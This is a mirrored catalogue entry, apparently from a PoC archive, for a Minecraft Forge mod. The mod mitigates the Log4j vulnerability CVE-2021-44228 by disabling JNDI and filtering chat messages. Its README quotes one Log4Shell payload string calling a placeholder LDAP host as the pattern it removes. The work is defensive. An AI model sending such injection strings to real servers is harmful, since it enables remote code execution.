CVE-2021-44228 PoC — Apache Log4j 代码问题漏洞

Source

https://github.com/LemonCraftRu/JndiRemover

Associated Vulnerability

Title:Apache Log4j 代码问题漏洞 (CVE-2021-44228)
Description:Apache Log4j是美国阿帕奇（Apache）基金会的一款基于Java的开源日志记录工具。 Apache Log4J 存在代码问题漏洞，攻击者可设计一个数据请求发送给使用 Apache Log4j工具的服务器，当该请求被打印成日志时就会触发远程代码执行。

Description

Небольшой мод направленный на устранение уязвимости CVE-2021-44228

Readme

# JndiRemover
Небольшой мод направленный на устранение уязвимости CVE-2021-44228 по средствам удаления/отключения Jndi в Log4j и 
перехват сообщений содержащих текст "${jndi:ldap://domainname.com/script}", которые будут удалены.

Поддерживаемые версии MC:
* Forge 1.7.10, 1.12.2

File Snapshot


 [4.0K]  /data/pocs/79b938c8d6b8aa0deaa00ca30fa2119bb8cfbbe1
├── [2.1K]  build.gradle
├── [4.0K]  gradle
│   └── [4.0K]  wrapper
│       ├── [ 58K]  gradle-wrapper.jar
│       └── [ 202]  gradle-wrapper.properties
├── [ 125]  gradle.properties
├── [5.6K]  gradlew
├── [2.6K]  gradlew.bat
├── [ 427]  README.md
├── [  34]  settings.gradle
├── [4.0K]  src
│   └── [4.0K]  main
│       ├── [4.0K]  java
│       │   └── [4.0K]  ru
│       │       └── [4.0K]  icosider
│       │           └── [4.0K]  jndiremover
│       │               ├── [4.0K]  asm
│       │               │   └── [ 908]  MixinPlugin.java
│       │               ├── [ 571]  EventListener.java
│       │               ├── [ 551]  JndiRemover.java
│       │               ├── [4.0K]  mixin
│       │               │   └── [4.0K]  mc
│       │               │       ├── [ 558]  MixinMain.java
│       │               │       ├── [ 758]  MixinServer.java
│       │               │       └── [4.0K]  network
│       │               │           └── [1.4K]  MixinPacketBuffer.java
│       │               └── [4.0K]  util
│       │                   └── [2.6K]  RemoverUtil.java
│       └── [4.0K]  resources
│           └── [ 287]  mixins.jndi_remover.json
└── [1.2K]  TODO.md

14 directories, 17 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!